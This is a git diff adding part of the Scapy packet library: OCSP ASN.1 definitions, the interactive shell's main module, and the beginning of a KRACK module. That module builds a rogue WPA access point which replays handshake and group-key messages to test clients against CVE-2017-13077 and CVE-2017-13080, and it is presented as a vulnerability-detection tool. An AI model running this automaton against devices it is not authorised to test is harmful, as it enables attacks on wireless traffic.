+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE_OF("byName", [], X509_RDN)
+
+class OCSP_ByKey(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_STRING("byKey", "")
+
+class OCSP_ResponderID(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_CHOICE("responderID", None,
+                    ASN1F_PACKET("byName", OCSP_ByName(), OCSP_ByName,
+                                 explicit_tag=0xa1),
+                    ASN1F_PACKET("byKey", OCSP_ByKey(), OCSP_ByKey,
+                                 explicit_tag=0xa2))
+
+class OCSP_ResponseData(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_optional(
+                        ASN1F_enum_INTEGER("version", 0, {0: "v1"},
+                                           explicit_tag=0x80)),
+                    ASN1F_PACKET("responderID", OCSP_ResponderID(),
+                                 OCSP_ResponderID),
+                    ASN1F_GENERALIZED_TIME("producedAt",
+                                           str(GeneralizedTime())),
+                    ASN1F_SEQUENCE_OF("responses", [], OCSP_SingleResponse),
+                    ASN1F_optional(
+                        ASN1F_SEQUENCE_OF("responseExtensions", None,
+                                          X509_Extension,
+                                          explicit_tag=0xa1)))
+
+class ASN1F_OCSP_BasicResponseECDSA(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsResponseData",
+                            OCSP_ResponseData(),
+                            OCSP_ResponseData),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING_ENCAPS("signature",
+                            ECDSASignature(),
+                            ECDSASignature),
+               ASN1F_optional(
+                   ASN1F_SEQUENCE_OF("certs", None, X509_Cert,
+                                     explicit_tag=0xa0))]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+
+class ASN1F_OCSP_BasicResponse(ASN1F_SEQUENCE):
+    def __init__(self, **kargs):
+        seq = [ASN1F_PACKET("tbsResponseData",
+                            OCSP_ResponseData(),
+                            OCSP_ResponseData),
+               ASN1F_PACKET("signatureAlgorithm",
+                            X509_AlgorithmIdentifier(),
+                            X509_AlgorithmIdentifier),
+               ASN1F_BIT_STRING("signature",
+                                "defaultsignature"*2),
+               ASN1F_optional(
+                   ASN1F_SEQUENCE_OF("certs", None, X509_Cert,
+                                     explicit_tag=0xa0))]
+        ASN1F_SEQUENCE.__init__(self, *seq, **kargs)
+    def m2i(self, pkt, x):
+        c,s = ASN1F_SEQUENCE.m2i(self, pkt, x)
+        sigtype = pkt.fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return c,s
+        elif "ecdsa" in sigtype.lower():
+            return ASN1F_OCSP_BasicResponseECDSA().m2i(pkt, x)
+        else:
+            raise Exception("could not parse OCSP basic response")
+    def dissect(self, pkt, s):
+        c,x = self.m2i(pkt, s)
+        return x
+    def build(self, pkt):
+        if "signatureAlgorithm" in pkt.fields:
+            sigtype = pkt.fields['signatureAlgorithm'].algorithm.oidname
+        else:
+            sigtype = pkt.default_fields["signatureAlgorithm"].algorithm.oidname
+        if "rsa" in sigtype.lower():
+            return ASN1F_SEQUENCE.build(self, pkt)
+        elif "ecdsa" in sigtype.lower():
+            pkt.default_fields["signatureValue"] = ECDSASignature()
+            return ASN1F_OCSP_BasicResponseECDSA().build(pkt)
+        else:
+            raise Exception("could not build OCSP basic response")
+
+class OCSP_ResponseBytes(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_OID("responseType", "1.3.6.1.5.5.7.48.1.1"),
+                    ASN1F_OCSP_BasicResponse(explicit_tag=0x04))
+
+_responseStatus_mapping = ["successful",
+                          "malformedRequest",
+                          "internalError",
+                          "tryLater",
+                          "notUsed",
+                          "sigRequired",
+                          "unauthorized"]
+
+class OCSP_Response(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+                    ASN1F_ENUMERATED("responseStatus", 0,
+                                     _responseStatus_mapping),
+                    ASN1F_optional(
+                        ASN1F_PACKET("responseBytes", None,
+                                     OCSP_ResponseBytes,
+                                     explicit_tag=0xa0)))
+
diff --git a/scapy/main.py b/scapy/main.py
new file mode 100644
index 0000000..b8bc56b
--- /dev/null
+++ b/scapy/main.py
@@ -0,0 +1,552 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Main module for interactive startup.
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+
+import sys, os, getopt, re, code
+import gzip, glob
+import importlib
+import logging
+from random import choice
+import types
+import io
+
+# Never add any global import, in main.py, that would trigger a warning messsage
+# before the console handlers gets added in interact()
+from scapy.error import log_interactive, log_loading, log_scapy, warning
+import scapy.modules.six as six
+from scapy.themes import DefaultTheme, apply_ipython_style
+
+IGNORED = list(six.moves.builtins.__dict__)
+
+GLOBKEYS = []
+
+LAYER_ALIASES = {
+    "tls": "tls.all"
+}
+
+QUOTES = [
+    ("Craft packets like it is your last day on earth.", "Lao-Tze"),
+    ("Craft packets like I craft my beer.", "Jean De Clerck"),
+    ("Craft packets before they craft you.", "Socrate"),
+    ("Craft me if you can.", "IPv6 layer"),
+    ("To craft a packet, you have to be a packet, and learn how to swim in the "
+     "wires and in the waves.", "Jean-Claude Van Damme"),
+]
+
+def _probe_config_file(cf):
+    cf_path = os.path.join(os.path.expanduser("~"), cf)
+    try:
+        os.stat(cf_path)
+    except OSError:
+        return None
+    else:
+        return cf_path
+
+def _read_config_file(cf, _globals=globals(), _locals=locals(), interactive=True):
+    """Read a config file: execute a python file while loading scapy, that may contain
+    some pre-configured values.
+    
+    If _globals or _locals are specified, they will be updated with the loaded vars.
+    This allows an external program to use the function. Otherwise, vars are only available
+    from inside the scapy console.
+    
+    params:
+    - _globals: the globals() vars
+    - _locals: the locals() vars
+    - interactive: specified whether or not errors should be printed using the scapy console or
+    raised.
+
+    ex, content of a config.py file:
+        'conf.verb = 42\n'
+    Manual loading:
+        >>> _read_config_file("./config.py"))
+        >>> conf.verb
+        42
+    """
+    log_loading.debug("Loading config file [%s]", cf)
+    try:
+        exec(compile(open(cf).read(), cf, 'exec'), _globals, _locals)
+    except IOError as e:
+        if interactive:
+            raise
+        log_loading.warning("Cannot read config file [%s] [%s]", cf, e)
+    except Exception as e:
+        if interactive:
+            raise
+        log_loading.exception("Error during evaluation of config file [%s]", cf)
+        
+def _validate_local(x):
+    """Returns whether or not a variable should be imported.
+    Will return False for any default modules (sys), or if
+    they are detected as private vars (starting with a _)"""
+    global IGNORED
+    return x[0] != "_" and not x in IGNORED
+
+DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py")
+DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py")
+SESSION = None
+
+def _usage():
+    print("""Usage: scapy.py [-s sessionfile] [-c new_startup_file] [-p new_prestart_file] [-C] [-P]
+    -C: do not read startup file
+    -P: do not read pre-startup file""")
+    sys.exit(0)
+
+
+######################
+## Extension system ##
+######################
+
+
+def _load(module, globals_dict=None, symb_list=None):
+    """Loads a Python module to make variables, objects and functions
+available globally.
+
+    The idea is to load the module using importlib, then copy the
+symbols to the global symbol table.
+
+    """
+    if globals_dict is None:
+        globals_dict = six.moves.builtins.__dict__
+    try:
+        mod = importlib.import_module(module)
+        if '__all__' in mod.__dict__:
+            # import listed symbols
+            for name in mod.__dict__['__all__']:
+                if symb_list is not None:
+                    symb_list.append(name)
+                globals_dict[name] = mod.__dict__[name]
+        else:
+            # only import non-private symbols
+            for name, sym in six.iteritems(mod.__dict__):
+                if _validate_local(name):
+                    if symb_list is not None:
+                        symb_list.append(name)
+                    globals_dict[name] = sym
+    except Exception:
+        log_interactive.error("Loading module %s", module, exc_info=True)
+
+def load_module(name):
+    """Loads a Scapy module to make variables, objects and functions
+    available globally.
+
+    """
+    _load("scapy.modules."+name)
+
+def load_layer(name, globals_dict=None, symb_list=None):
+    """Loads a Scapy layer module to make variables, objects and functions
+    available globally.
+
+    """
+    _load("scapy.layers." + LAYER_ALIASES.get(name, name),
+          globals_dict=globals_dict, symb_list=symb_list)
+
+def load_contrib(name):
+    """Loads a Scapy contrib module to make variables, objects and
+    functions available globally.
+
+    If no contrib module can be found with the given name, try to find
+    a layer module, since a contrib module may become a layer module.
+
+    """
+    try:
+        importlib.import_module("scapy.contrib." + name)
+        _load("scapy.contrib." + name)
+    except ImportError:
+        # if layer not found in contrib, try in layers
+        load_layer(name)
+
+def list_contrib(name=None):
+    if name is None:
+        name="*.py"
+    elif "*" not in name and "?" not in name and not name.endswith(".py"):
+        name += ".py"
+    name = os.path.join(os.path.dirname(__file__), "contrib", name)
+    for f in sorted(glob.glob(name)):
+        mod = os.path.basename(f)
+        if mod.startswith("__"):
+            continue
+        if mod.endswith(".py"):
+            mod = mod[:-3]
+        desc = { "description":"-", "status":"?", "name":mod }
+        for l in io.open(f, errors="replace"):
+            p = l.find("scapy.contrib.")
+            if p >= 0:
+                p += 14
+                q = l.find("=", p)
+                key = l[p:q].strip()
+                value = l[q+1:].strip()
+                desc[key] = value
+        print("%(name)-20s: %(description)-40s status=%(status)s" % desc)
+
+                        
+
+
+    
+
+##############################
+## Session saving/restoring ##
+##############################
+
+def update_ipython_session(session):
+    """Updates IPython session with a custom one"""
+    try:
+        get_ipython().user_ns.update(session)
+    except:
+        pass
+
+def save_session(fname=None, session=None, pickleProto=-1):
+    """Save current Scapy session to the file specified in the fname arg.
+
+    params:
+     - fname: file to save the scapy session in
+     - session: scapy session to use. If None, the console one will be used
+     - pickleProto: pickle proto version (default: -1 = latest)"""
+    from scapy import utils
+    if fname is None:
+        fname = conf.session
+        if not fname:
+            conf.session = fname = utils.get_temp_file(keep=True)
+    log_interactive.info("Use [%s] as session file" % fname)
+
+    if session is None:
+        try:
+            session = get_ipython().user_ns
+        except:
+            session = six.moves.builtins.__dict__["scapy_session"]
+
+    to_be_saved = session.copy()
+    if "__builtins__" in to_be_saved:
+        del(to_be_saved["__builtins__"])
+
+    for k in list(to_be_saved):
+        i = to_be_saved[k]
+        if hasattr(i, "__module__") and (k[0] == "_" or i.__module__.startswith("IPython")):
+            del(to_be_saved[k])
+        if isinstance(i, ConfClass):
+            del(to_be_saved[k])
+        elif isinstance(i, (type, type, types.ModuleType)):
+            if k[0] != "_":
+                log_interactive.error("[%s] (%s) can't be saved.", k, type(to_be_saved[k]))
+            del(to_be_saved[k])
+
+    try:
+         os.rename(fname, fname+".bak")
+    except OSError:
+         pass
+    
+    f=gzip.open(fname,"wb")
+    six.moves.cPickle.dump(to_be_saved, f, pickleProto)
+    f.close()
+    del f
+
+def load_session(fname=None):
+    """Load current Scapy session from the file specified in the fname arg.
+    This will erase any existing session.
+
+    params:
+     - fname: file to load the scapy session from"""
+    if fname is None:
+        fname = conf.session
+    try:
+        s = six.moves.cPickle.load(gzip.open(fname,"rb"))
+    except IOError:
+        try:
+            s = six.moves.cPickle.load(open(fname,"rb"))
+        except IOError:
+            # Raise "No such file exception"
+            raise
+
+    scapy_session = six.moves.builtins.__dict__["scapy_session"]
+    scapy_session.clear()
+    scapy_session.update(s)
+    update_ipython_session(scapy_session)
+
+    log_loading.info("Loaded session [%s]" % fname)
+    
+def update_session(fname=None):
+    """Update current Scapy session from the file specified in the fname arg.
+
+    params:
+     - fname: file to load the scapy session from"""
+    if fname is None:
+        fname = conf.session
+    try:
+        s = six.moves.cPickle.load(gzip.open(fname,"rb"))
+    except IOError:
+        s = six.moves.cPickle.load(open(fname,"rb"))
+    scapy_session = six.moves.builtins.__dict__["scapy_session"]
+    scapy_session.update(s)
+    update_ipython_session(scapy_session)
+
+def init_session(session_name, mydict=None):
+    global SESSION
+    global GLOBKEYS
+    
+    scapy_builtins = {k: v for k, v in six.iteritems(importlib.import_module(".all", "scapy").__dict__) if _validate_local(k)}
+    six.moves.builtins.__dict__.update(scapy_builtins)
+    GLOBKEYS.extend(scapy_builtins)
+    GLOBKEYS.append("scapy_session")
+    scapy_builtins=None # XXX replace with "with" statement
+    
+    if session_name:
+        try:
+            os.stat(session_name)
+        except OSError:
+            log_loading.info("New session [%s]" % session_name)
+        else:
+            try:
+                try:
+                    SESSION = six.moves.cPickle.load(gzip.open(session_name,"rb"))
+                except IOError:
+                    SESSION = six.moves.cPickle.load(open(session_name,"rb"))
+                log_loading.info("Using session [%s]" % session_name)
+            except EOFError:
+                log_loading.error("Error opening session [%s]" % session_name)
+            except AttributeError:
+                log_loading.error("Error opening session [%s]. Attribute missing" %  session_name)
+
+        if SESSION:
+            if "conf" in SESSION:
+                conf.configure(SESSION["conf"])
+                SESSION["conf"] = conf
+        else:
+            conf.session = session_name
+            SESSION = {"conf":conf}
+    else:
+        SESSION = {"conf": conf}
+
+    six.moves.builtins.__dict__["scapy_session"] = SESSION
+
+    if mydict is not None:
+        six.moves.builtins.__dict__["scapy_session"].update(mydict)
+        update_ipython_session(mydict)
+        GLOBKEYS.extend(mydict)
+
+################
+##### Main #####
+################
+
+def scapy_delete_temp_files():
+    for f in conf.temp_files:
+        try:
+            os.unlink(f)
+        except:
+            pass
+    del(conf.temp_files[:])
+
+def _prepare_quote(quote, author, max_len=78):
+    """This function processes a quote and returns a string that is ready
+to be used in the fancy prompt.
+
+    """
+    quote = quote.split(' ')
+    max_len -= 6
+    lines = []
+    cur_line = []
+    def _len(line):
+        return sum(len(elt) for elt in line) + len(line) - 1
+    while quote:
+        if not cur_line or (_len(cur_line) + len(quote[0]) - 1 <= max_len):
+            cur_line.append(quote.pop(0))
+            continue
+        lines.append('   | %s' % ' '.join(cur_line))
+        cur_line = []
+    if cur_line:
+        lines.append('   | %s' % ' '.join(cur_line))
+        cur_line = []
+    lines.append('   | %s-- %s' % (" " * (max_len - len(author) - 5), author))
+    return lines
+
+def interact(mydict=None,argv=None,mybanner=None,loglevel=20):
+    global SESSION
+    global GLOBKEYS
+
+    console_handler = logging.StreamHandler()
+    console_handler.setFormatter(logging.Formatter("%(levelname)s: %(message)s"))
+    log_scapy.addHandler(console_handler)
+
+    from scapy.config import conf
+    conf.color_theme = DefaultTheme()
+    conf.interactive = True
+    if loglevel is not None:
+        conf.logLevel = loglevel
+
+    STARTUP_FILE = DEFAULT_STARTUP_FILE
+    PRESTART_FILE = DEFAULT_PRESTART_FILE
+
+    session_name = None
+
+    if argv is None:
+        argv = sys.argv
+
+    try:
+        opts = getopt.getopt(argv[1:], "hs:Cc:Pp:d")
+        for opt, parm in opts[0]:
+            if opt == "-h":
+                _usage()
+            elif opt == "-s":
+                session_name = parm
+            elif opt == "-c":
+                STARTUP_FILE = parm
+            elif opt == "-C":
+                STARTUP_FILE = None
+            elif opt == "-p":
+                PRESTART_FILE = parm
+            elif opt == "-P":
+                PRESTART_FILE = None
+            elif opt == "-d":
+                conf.logLevel = max(1, conf.logLevel-10)
+
+        if len(opts[1]) > 0:
+            raise getopt.GetoptError("Too many parameters : [%s]" % " ".join(opts[1]))
+
+
+    except getopt.GetoptError as msg:
+        log_loading.error(msg)
+        sys.exit(1)
+
+    init_session(session_name, mydict)
+
+    if STARTUP_FILE:
+        _read_config_file(STARTUP_FILE, interactive=True)
+    if PRESTART_FILE:
+        _read_config_file(PRESTART_FILE, interactive=True)
+
+    if conf.fancy_prompt:
+
+        the_logo = [
+            "                                      ",
+            "                     aSPY//YASa       ",
+            "             apyyyyCY//////////YCa    ",
+            "            sY//////YSpcs  scpCY//Pp  ",
+            " ayp ayyyyyyySCP//Pp           syY//C ",
+            " AYAsAYYYYYYYY///Ps              cY//S",
+            "         pCCCCY//p          cSSps y//Y",
+            "         SPPPP///a          pP///AC//Y",
+            "              A//A            cyP////C",
+            "              p///Ac            sC///a",
+            "              P////YCpc           A//A",
+            "       scccccp///pSP///p          p//Y",
+            "      sY/////////y  caa           S//P",
+            "       cayCyayP//Ya              pY/Ya",
+            "        sY/PsY////YCc          aC//Yp ",
+            "         sc  sccaCY//PCypaapyCP//YSs  ",
+            "                  spCPY//////YPSps    ",
+            "                       ccaacs         ",
+            "                                      ",
+        ]
+
+        the_banner = [
+            "",
+            "",
+            "   |",
+            "   | Welcome to Scapy",
+            "   | Version %s" % conf.version,
+            "   |",
+            "   | https://github.com/secdev/scapy",
+            "   |",
+            "   | Have fun!",
+            "   |",
+        ]
+
+        quote, author = choice(QUOTES)
+        the_banner.extend(_prepare_quote(quote, author, max_len=39))
+        the_banner.append("   |")
+        the_banner = "\n".join(
+            logo + banner for logo, banner in six.moves.zip_longest(
+                (conf.color_theme.logo(line) for line in the_logo),
+                (conf.color_theme.success(line) for line in the_banner),
+                fillvalue=""
+            )
+        )
+    else:
+        the_banner = "Welcome to Scapy (%s)" % conf.version
+    if mybanner is not None:
+        the_banner += "\n"
+        the_banner += mybanner
+
+    if not conf.interactive_shell or conf.interactive_shell.lower() in [
+            "ipython", "auto"
+    ]:
+        try:
+            import IPython
+            from IPython.terminal.embed import InteractiveShellEmbed
+        except ImportError:
+            log_loading.warning(
+                "IPython not available. Using standard Python shell "
+                "instead.\nAutoCompletion, History are disabled."
+            )
+            IPYTHON = False
+        else:
+            IPYTHON = True
+    else:
+        IPYTHON = False
+
+    init_session(session_name, mydict)
+
+    if IPYTHON:
+        banner = the_banner + " using IPython %s\n" % IPython.__version__
+        try:
+            from traitlets.config.loader import Config
+        except ImportError:
+            log_loading.warning(
+                "traitlets not available. Some Scapy shell features won't be "
+                "available."
+            )
+            try:
+                ipshell = InteractiveShellEmbed(
+                    banner1=banner,
+                    user_ns=SESSION,
+                )
+            except:
+                code.interact(banner = the_banner, local=SESSION)
+        else:
+            cfg = Config()
+            try:
+                get_ipython
+            except NameError:
+                # Set "classic" prompt style when launched from run_scapy(.bat) files
+                # Register and apply scapy color+prompt style
+                apply_ipython_style(shell=cfg.TerminalInteractiveShell)
+                cfg.TerminalInteractiveShell.confirm_exit = False
+                cfg.TerminalInteractiveShell.separate_in = u''
+            cfg.TerminalInteractiveShell.hist_file = conf.histfile
+            # configuration can thus be specified here.
+            try:
+                ipshell = InteractiveShellEmbed(config=cfg,
+                                                banner1=banner,
+                                                hist_file=conf.histfile if conf.histfile else None,
+                                                user_ns=SESSION)
+            except (AttributeError, TypeError):
+                log_loading.warning("IPython too old. Won't support history and color style.")
+                try:
+                    ipshell = InteractiveShellEmbed(
+                        banner1=banner,
+                        user_ns=SESSION,
+                    )
+                except:
+                    code.interact(banner = the_banner, local=SESSION)
+        ipshell(local_ns=SESSION)
+    else:
+        code.interact(banner = the_banner, local=SESSION)
+
+    if conf.session:
+        save_session(conf.session, SESSION)
+
+    for k in GLOBKEYS:
+        try:
+            del(six.moves.builtins.__dict__[k])
+        except:
+            pass
+
+if __name__ == "__main__":
+    interact()
diff --git a/scapy/modules/__init__.py b/scapy/modules/__init__.py
new file mode 100644
index 0000000..6303dad
--- /dev/null
+++ b/scapy/modules/__init__.py
@@ -0,0 +1,8 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Package of extension modules that have to be loaded explicitly.
+"""
diff --git a/scapy/modules/krack/__init__.py b/scapy/modules/krack/__init__.py
new file mode 100644
index 0000000..4b3138f
--- /dev/null
+++ b/scapy/modules/krack/__init__.py
@@ -0,0 +1,28 @@
+"""Module implementing Krack Attack on client, as a custom WPA Access Point
+
+More details on the attack can be found on https://www.krackattacks.com/
+
+Example of use (from the scapy shell):
+>>> load_module("krack")
+>>> KrackAP(
+    iface="mon0",               # A monitor interface
+    ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use
+    ssid="TEST_KRACK",          # SSID
+    passphrase="testtest",      # Associated passphrase
+).run()
+
+Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
+passphrase.
+The output logs will indicate if one of the vulnerability have been triggered.
+
+Outputs for vulnerable devices:
+- IV re-use!! Client seems to be vulnerable to handshake 3/4 replay
+  (CVE-2017-13077)
+- Broadcast packet accepted twice!! (CVE-2017-13080)
+- Client has installed an all zero encryption key (TK)!!
+
+For patched devices:
+- Client is likely not vulnerable to CVE-2017-13080
+"""
+
+from scapy.modules.krack.automaton import KrackAP
diff --git a/scapy/modules/krack/automaton.py b/scapy/modules/krack/automaton.py
new file mode 100644
index 0000000..bf217f9
--- /dev/null
+++ b/scapy/modules/krack/automaton.py
@@ -0,0 +1,883 @@
+import hmac
+import hashlib
+from itertools import count
+import struct
+import time
+
+from cryptography.hazmat.primitives import hashes
+from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
+from cryptography.hazmat.backends import default_backend
+
+from scapy.automaton import ATMT, Automaton
+from scapy.base_classes import Net
+from scapy.config import conf
+from scapy.compat import raw, hex_bytes, chb
+from scapy.error import log_runtime
+from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \
+    Dot11Auth, Dot11Beacon, Dot11Elt, Dot11ProbeReq, Dot11ProbeResp
+from scapy.layers.eap import EAPOL
+from scapy.layers.l2 import ARP, LLC, SNAP, Ether
+from scapy.layers.dhcp import DHCP_am
+from scapy.packet import Raw
+from scapy.utils import hexdump
+from scapy.volatile import RandBin
+
+
+from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \
+    build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \
+    customPRF512, ARC4_encrypt
+
+
+class DHCPOverWPA(DHCP_am):
+    """Wrapper over DHCP_am to send and recv inside a WPA channel"""
+
+    def __init__(self, send_func, *args, **kwargs):
+        super(DHCPOverWPA, self).__init__(*args, **kwargs)
+        self.send_function = send_func
+
+    def sniff(self, *args, **kwargs):
+        # Do not sniff, use a direct call to 'replay(pkt)' instead
+        return
+
+
+class KrackAP(Automaton):
+    """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in:
+    "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2"
+
+    Example of use:
+    KrackAP(
+        iface="mon0",               # A monitor interface
+        ap_mac='11:22:33:44:55:66', # MAC to use
+        ssid="TEST_KRACK",          # SSID
+        passphrase="testtest",      # Associated passphrase
+    ).run()
+
+    Then, on the target device, connect to "TEST_KRACK" using "testtest" as the
+    passphrase.
+    The output logs will indicate if one of the CVE have been triggered.
+    """
+
+    # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not
+    # be detected the first time. Several attempt implies the client has been
+    # likely patched
+    ARP_MAX_RETRY = 50
+
+    def __init__(self, *args, **kargs):
+        kargs.setdefault("ll", conf.L2socket)
+        super(KrackAP, self).__init__(*args, **kargs)
+
+    def parse_args(self, ap_mac, ssid, passphrase,
+                   # KRACK attack options
+                   double_3handshake=True,
+                   encrypt_3handshake=True,
+                   wait_3handshake=0,
+                   double_gtk_refresh=True,
+                   arp_target_ip=None,
+                   arp_source_ip=None,
+                   wait_gtk=10,
+                   **kwargs):
+        """
+        Mandatory arguments:
+        @iface: interface to use (must be in monitor mode)
+        @ap_mac: AP's MAC
+        @ssid: AP's SSID
+        @passphrase: AP's Passphrase (min 8 char.)
+
+        Krack attacks options:
+
+         - Msg 3/4 handshake replay:
+        double_3handshake: double the 3/4 handshake message
+        encrypt_3handshake: encrypt the second 3/4 handshake message
+        wait_3handshake: time to wait (in sec.) before sending the second 3/4
+         - double GTK rekeying:
+        double_gtk_refresh: double the 1/2 GTK rekeying message
+        wait_gtk: time to wait (in sec.) before sending the GTK rekeying
+        arp_target_ip: Client IP to use in ARP req. (to detect attack success)
+                       If None, use a DHCP server
+        arp_source_ip: Server IP to use in ARP req. (to detect attack success)
+                       If None, use the DHCP server gateway address
+        """
+        super(KrackAP, self).parse_args(**kwargs)
+
+        # Main AP options
+        self.mac = ap_mac
+        self.ssid = ssid
+        self.passphrase = passphrase
+
+        # Internal structures
+        self.last_iv = None
+        self.client = None
+        self.seq_num = count()
+        self.replay_counter = count()
+        self.time_handshake_end = None
+        self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa,
+                                       pool=Net("192.168.42.128/25"),
+                                       network="192.168.42.0/24",
+                                       gw="192.168.42.1")
+        self.arp_sent = []
+        self.arp_to_send = 0
+        self.arp_retry = 0
+
+        # Bit 0: 3way handshake sent
+        # Bit 1: GTK rekeying sent
+        # Bit 2: ARP response obtained
+        self.krack_state = 0
+
+        # Krack options
+        self.double_3handshake = double_3handshake
+        self.encrypt_3handshake = encrypt_3handshake
+        self.wait_3handshake = wait_3handshake
+        self.double_gtk_refresh = double_gtk_refresh
+        self.arp_target_ip = arp_target_ip
+        if arp_source_ip is None:
+            # Use the DHCP server Gateway address
+            arp_source_ip = self.dhcp_server.gw
+        self.arp_source_ip = arp_source_ip
+        self.wait_gtk = wait_gtk
+
+        # May take several seconds
+        self.install_PMK()
+
+    def run(self, *args, **kwargs):
+        log_runtime.warning("AP started with ESSID: %s, BSSID: %s",
+                         self.ssid, self.mac)
+        super(KrackAP, self).run(*args, **kwargs)
+
+    # Key utils
+
+    @staticmethod
+    def gen_nonce(size):
+        """Return a nonce of @size element of random bytes as a string"""
+        return raw(RandBin(size))
+
+    def install_PMK(self):
+        """Compute and install the PMK"""
+        self.pmk = PBKDF2HMAC(
+            algorithm=hashes.SHA1(),
+            length=32,
+            salt=self.ssid,
+            iterations=4096,
+            backend=default_backend(),
+        ).derive(self.passphrase)
+
+    def install_unicast_keys(self, client_nonce):
+        """Use the client nonce @client_nonce to compute and install
+        PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP)
+        """
+        pmk = self.pmk
+        anonce = self.anonce
+        snonce = client_nonce
+        amac = hex_bytes(self.mac.replace(":", ""))
+        smac = hex_bytes(self.client.replace(":", ""))
+
+        # Compute PTK
+        self.ptk = customPRF512(pmk, amac, smac, anonce, snonce)
+
+        # Extract derivated keys
+        self.kck = self.ptk[:16]
+        self.kek = self.ptk[16:32]
+        self.tk = self.ptk[32:48]
+        self.mic_ap_to_sta = self.ptk[48:56]
+        self.mic_sta_to_ap = self.ptk[56:64]
+
+        # Reset IV
+        self.client_iv = count()
+
+    def install_GTK(self):
+        """Compute a new GTK and install it alongs
+        MIC (AP -> Group = broadcast + multicast)
+        """
+
+        # Compute GTK
+        self.gtk_full = self.gen_nonce(32)
+        self.gtk = self.gtk_full[:16]
+
+        # Extract derivated keys
+        self.mic_ap_to_group = self.gtk_full[16:24]
+
+        # Reset IV
+        self.group_iv = count()
+
+    # Packet utils
+
+    def build_ap_info_pkt(self, layer_cls, dest):
+        """Build a packet with info describing the current AP
+        For beacon / proberesp use
+        Assume the AP is on channel 6
+        """
+        return RadioTap() \
+              / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \
+              / layer_cls(timestamp=0, beacon_interval=100,
+                          cap='ESS+privacy') \
+              / Dot11Elt(ID="SSID", info=self.ssid) \
+              / Dot11Elt(ID="Rates", info=b'\x82\x84\x8b\x96\x0c\x12\x18$') \
+              / Dot11Elt(ID="DSset", info=b"\x06") \
+              / Dot11Elt(
+                  ID="RSNinfo",
+                  info=b'\x01\x00\x00\x0f\xac\x02\x01\x00\x00\x0f\xac\x02'\
+                  b'\x01\x00\x00\x0f\xac\x02\x00\x00'
+              )
+
+    @staticmethod
+    def build_EAPOL_Key_8021X2004(
+            key_information,
+            replay_counter,
+            nonce,
+            data=None,
+            key_mic=None,
+            key_data_encrypt=None,
+            key_rsc=0,
+            key_id=0,
+            key_descriptor_type=2, # EAPOL RSN Key
+    ):
+        pkt = EAPOL(version="802.1X-2004", type="EAPOL-Key")
+
+        key_iv = KrackAP.gen_nonce(16)
+
+        assert key_rsc == 0 # Other values unsupported
+        assert key_id == 0 # Other values unsupported
+        payload = b"".join([
+            chb(key_descriptor_type),
+            struct.pack(">H", key_information),
+            b'\x00\x20',  # Key length
+            struct.pack(">Q", replay_counter),
+            nonce,
+            key_iv,
+            struct.pack(">Q", key_rsc),
+            struct.pack(">Q", key_id),
+        ])
+
+        # MIC field is set to 0's during MIC computation
+        offset_MIC = len(payload)
+        payload += b'\x00' * 0x10
+
+        if data is None and key_mic is None and key_data_encrypt is None:
+            # If key is unknown and there is no data, no MIC is needed
+            # Exemple: handshake 1/4
+            payload += b'\x00' * 2 # Length
+            return pkt / Raw(load=payload)
+
+        assert data is not None
+        assert key_mic is not None
+        assert key_data_encrypt is not None
+
+        # Skip 256 first bytes
+        # REF: 802.11i 8.5.2
+        # Key Descriptor Version 1:
+        # ...
+        # No padding shall be used. The encryption key is generated by
+        # concatenating the EAPOL-Key IV field and the KEK. The first 256 octets
+        # of the RC4 key stream shall be discarded following RC4 stream cipher
+        # initialization with the KEK, and encryption begins using the 257th key
+        # stream octet.
+        enc_data = ARC4_encrypt(key_iv + key_data_encrypt, data, skip=256)
+
+        payload += struct.pack(">H", len(data))
+        payload += enc_data
+
+        # Compute MIC and set at the right place
+        temp_mic = pkt.copy()
+        temp_mic /= Raw(load=payload)
+        to_mic = raw(temp_mic[EAPOL])
+        mic = hmac.new(key_mic, to_mic, hashlib.md5).digest()
+        final_payload = payload[:offset_MIC] + mic + payload[offset_MIC + len(mic):]
+        assert len(final_payload) == len(payload)
+
+        return pkt / Raw(load=final_payload)
+
+    def build_GTK_KDE(self):
+        """Build the Key Data Encapsulation for GTK
+        KeyID: 0
+        Ref: 802.11i p81
+        """
+        return b''.join([
+            b'\xdd', # Type KDE
+            chb(len(self.gtk_full) + 6),
+            b'\x00\x0f\xac', # OUI
+            b'\x01', # GTK KDE
